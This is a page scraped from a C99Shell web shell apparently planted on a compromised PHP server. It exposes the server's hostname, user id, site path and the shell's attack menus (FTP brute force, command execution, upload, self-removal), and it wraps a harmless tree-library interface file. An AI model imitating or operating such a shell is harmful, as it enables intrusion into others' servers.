!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/vendor/nicmart/tree/src/Node/   drwxr-xr-x
Free 28.95 GB of 117.98 GB (24.54%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     NodeInterface.php (3.18 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Copyright (c) 2013-2020 Nicolò Martini
 *
 * For the full copyright and license information, please view
 * the LICENSE.md file that was distributed with this source code.
 *
 * @see https://github.com/nicmart/Tree
 */

namespace Tree\Node;

use 
Tree\Visitor\Visitor;

/**
 * Interface for tree nodes.
 *
 * @author Nicolò Martini <nicmartnic@gmail.com>
 */
interface NodeInterface
{
    
/**
     * Set the value of the current node.
     *
     * @param mixed $value
     *
     * @return NodeInterface the current instance
     */
    
public function setValue($value);

    
/**
     * Get the current node value.
     *
     * @return mixed
     */
    
public function getValue();

    
/**
     * Add a child.
     *
     * @param NodeInterface $child
     *
     * @return mixed
     */
    
public function addChild(self $child);

    
/**
     * Remove a node from children.
     *
     * @param NodeInterface $child
     *
     * @return NodeInterface the current instance
     */
    
public function removeChild(self $child);

    
/**
     * Remove all children.
     *
     * @return NodeInterface The current instance
     */
    
public function removeAllChildren();

    
/**
     * Return the array of children.
     *
     * @return NodeInterface[]
     */
    
public function getChildren();

    
/**
     * Replace the children set with the given one.
     *
     * @param NodeInterface[] $children
     *
     * @return mixed
     */
    
public function setChildren(array $children);

    
/**
     * Set the parent node.
     *
     * @param NodeInterface $parent
     */
    
public function setParent(?self $parent null);

    
/**
     * Return the parent node.
     *
     * @return NodeInterface
     */
    
public function getParent();

    
/**
     * Retrieves all ancestors of node excluding current node.
     *
     * @return array
     */
    
public function getAncestors();

    
/**
     * Retrieves all ancestors of node as well as the node itself.
     *
     * @return Node[]
     */
    
public function getAncestorsAndSelf();

    
/**
     * Retrieves all neighboring nodes, excluding the current node.
     *
     * @return array
     */
    
public function getNeighbors();

    
/**
     * Returns all neighboring nodes, including the current node.
     *
     * @return Node[]
     */
    
public function getNeighborsAndSelf();

    
/**
     * Return true if the node is the root, false otherwise.
     *
     * @return bool
     */
    
public function isRoot();

    
/**
     * Return true if the node is a child, false otherwise.
     *
     * @return bool
     */
    
public function isChild();

    
/**
     * Return true if the node has no children, false otherwise.
     *
     * @return bool
     */
    
public function isLeaf();

    
/**
     * Return the distance from the current node to the root.
     *
     * @return int
     */
    
public function getDepth();

    
/**
     * Return the height of the tree whose root is this node.
     *
     * @return int
     */
    
public function getHeight();

    
/**
     * Accept method for the visitor pattern (see http://en.wikipedia.org/wiki/Visitor_pattern).
     *
     * @param Visitor $visitor
     */
    
public function accept(Visitor $visitor);
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0051 ]--